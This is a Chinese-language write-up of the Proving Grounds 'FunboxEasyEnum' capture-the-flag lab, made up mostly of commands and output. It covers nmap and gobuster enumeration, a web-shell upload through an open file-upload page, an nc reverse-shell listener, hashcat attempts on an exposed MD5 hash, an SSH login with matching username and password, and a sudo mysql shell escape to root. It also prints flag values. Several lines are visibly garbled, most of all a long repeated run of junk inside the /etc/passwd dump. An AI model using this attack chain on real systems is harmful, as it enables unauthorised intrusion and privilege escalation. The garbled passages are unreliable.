# Proving Grounds->FunboxEasyEnum靶场笔 记

#### 惯例先扫IP段

```
nmap -sn -v 192.168.152.0/24
```

只扫到了给的IP192.168.152.132 和254

## 之后扫描所有端口(以最低一万的速率扫描端口)

```
nmap -sT --min-rate 10000 -p- 192.168.152.132
```

发现只开放了22和80

#### 对22、80进行针对性扫描

```
sudo nmap -sT -sC -sV -O -p22,80 192.168.152.132 -oA a.txt -sT 以tcp协议进行扫描 -sC 以nmap默认脚本进行扫描 -sV 探测服务的版本 -O 探测操作系统的版本 -p 指定端口 -oA 对扫描的结果进行全格式输出
```

```
PORT
      STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
   2048 9c52325b8bf638c77fa1b704854954f3 (RSA)
   256 d6135606153624ad655e7aa18ce564f4 (ECDSA)
|_ 256 1ba9f35ad05183183a23ddc4a9be59f0 (ED25519)
80/tcp open http
                    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Aggressive OS guesses: Linux 2.6.18 (87%), Linux 4.15 - 5.6 (87%), Linux 2.6.32
(86%), Linux 2.6.32 or 3.10 (86%), Linux 3.5 (86%), Linux 4.4 (86%), Synology
DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 5.3 - 5.4
(86%), Linux 4.8 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.37 seconds
```

## 进行默认脚本扫描

```
sudo nmap --script=vuln -p22,80 192.168.152.132
```

```
PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

|_http-csrf: Couldn't find any CSRF vulnerabilities.

| http-enum:

| /robots.txt: Robots file

|_ /phpmyadmin/: phpMyAdmin

|_http-dombased-xss: Couldn't find any DOM based XSS.

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

Nmap done: 1 IP address (1 host up) scanned in 62.72 seconds
```

# 对扫描结果中的robots.txt、phpmyadmin进行探测

robots.txt就是一个简单地文本 Allow: Enum\_this\_Box phpMyAdmin就是一个普通的登录页面

PIDMYAUIITIM及 TEDDEXXXI

80端口也是一个默认页

# 启动gobuster进行目录爆破,再添加后缀名参数,针对特殊后缀再开一个扫描

```
sudo gobuster dir -u http://192.168.152.132/ -w
/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
sudo gobuster dir -u http://192.168.152.132/ -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
php,sql,txt,rar,zip,tar
sudo gobuster dir -u http://192.168.228.230/ -w
/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
```

扫到一个特殊的php 进去看看,是任意文件上传,话不多说,直接上大马

/mini.php (Status: 200) [Size: 3828]



#### 反弹shell

```
sudo nc -nlvp 3242
whoami
cd /var/www/
ls -al
cat local.txt
068e5be7068b17bf04bc5b2219ab7f90
```

```
(moon  windows)-[~/集 面 ]

$ sudo nc -nlvp 3242 [
Sudo] moon 的 密 码 :
listening on [any] 3242 ...
connect to [192.168.45.5] from (UNKNOWN) [192.1
68.152.132] 39594

/bin/sh: 0: can't access tty; job control turne
d off
$ whoami
www-data
$ |
```

```
$ ls -al
total 16
drwxr-xr-x 3 root root 4096 Feb 16 2021.
drwxr-xr-x 14 root root 4096 Sep 18 2020 ..
drwxrwxrwx 2 root root 4096 Apr 19 03:14 html
-rw-r--r-- 1 www-data www-data 33 Apr 19 01:52 local.txt
$ cat local.txt
df76196ca13eecff3baf5b6dba28a9c7
```

## 开始考虑如何提权

cat /etc/passwd 发现了orcale 用户的hash,爆破了一波没结果,find提权也不太行,陷入僵局

```
.\hashcat.exe -a 0 .\rockyou.txt -m 500 $1$|0@GOeN\$PGb9VNu29e9s6dMNJKH/RO -o fuck.txt
.\hashcat.exe -a 3 -1 ?d?u?l?s --increment --increment-min 1 --increment-max 8 -m 500 .\doit.txt -o fuck.txt

oracle:$1$|0@GOeN\$PGb9VNu29e9s6dMNJKH/RO:1004:1004:,,,:/home/oracle:/bin/bash
```

```
* Token length exception: 21517/21517 hashes
This error happens if the wrong hash type is specified, if the hashes are
malformed, or if input is otherwise not as expected (for example, if the
--username option is used but no username is present)

No hashes loaded.

Started: Wed Apr 19 13:36:16 2023
Stopped: Wed Apr 19 13:54:11 2023
PS D:\hashcat-6.2.6>
```

```
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologi
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list
                                                                                             /sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexiste /usr/sbin/nologin
system d-network x: 100: 102: system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin/nologin to the following system d\ Network\ Management, \\ \textit{method} retif: /usr/sbin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin >gin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,;/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/
                                                                                              bin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
karla:x:1000:1000:karla:/home/karla:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
harry:x:1001:1001:,,,:/home/harry:/bin/bash
sally:x:1002:1002:,,,:/home/sally:/bin/bash
goat:x:1003:1003:,,,:/home/goat:/bin/bash
oracle:$1$|O@GOeN\$PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash
lissy:x:1005:1005::/home/lissy:/bin/sh
```

进home目录看看,用户挺多,

```
$ cd home

$ ls -al

total 28

drwxr-xr-x 7 root root 4096 Sep 18 2020.

drwxr-xr-x 24 root root 4096 Sep 19 2020..

drwxr-xr-x 2 goat goat 4096 Feb 16 2021 goat

drwxr-xr-x 2 harry harry 4096 Jan 28 2021 harry

drwxr-xr-x 2 karla karla 4096 Feb 16 2021 karla

drwxr-xr-x 2 oracle oracle 4096 Feb 16 2021 oracle

drwxr-xr-x 2 sally sally 4096 Jan 28 2021 sally
```

goat用户目录可以进去,但是没找到有用的信息,有点绝望了,在试试提权,至少先提一个普通用户

```
开始碰弱口令 ssh goat@192.168.176.132 goat
一发入魂,谁能想到用户名密码都一样
剩下的就简单了
sudo -1 看看当前用户可以用 sudo 执行那些命令
发现有mysql
去这里找下
https://gtfobins.github.io/gtfobins/mysql/#shell
如果允许二进制文件以超级用户身份运行 sudo,它不会放弃提升的特权,可用于访问文件系统、升级或维护特权访问。
sudo mysql -e '\! /bin/sh'
#号出现 over
```

```
goat@funbox7:~$ id
uid=1003(goat) gid=1003(goat) groups=1003(goat),111(ssh)
goat@funbox7:~$ sudo -l
Matching Defaults entries for goat on funbox7:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/shin\:/snap/bin
User goat may run the following commands on funbox7:
 (root) NOPASSWD: /usr/bin/mysql
goat@funbox7:~$ mysql -e '\! /bin/sh'
ERROR 1045 (28000): Access denied for user 'goat'@'localhost' (using password: NO)
goat@funbox7:~$ sudo mysql -e '\! /bin/sh'
uid=0(root) gid=0(root) groups=0(root)
#cd/root
#ls-al
total 28
drwx----- 3 root root 4096 Apr 19 08:12.
drwxr-xr-x 24 root root 4096 Sep 19 2020 ..
lrwxrwxrwx 1root root 9 Jan 28 2021.bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw----- 1 root root 33 Apr 19 08:12 proof.txt
-rw-r--r- 1 root root 32 Feb 16 2021 root.flag
drwx----- 2 root root 4096 Sep 18 2020 .ssh
# cat proof.txt
7faccaef0546f7387f2e132ef2feed1c
# cd /var/www/
```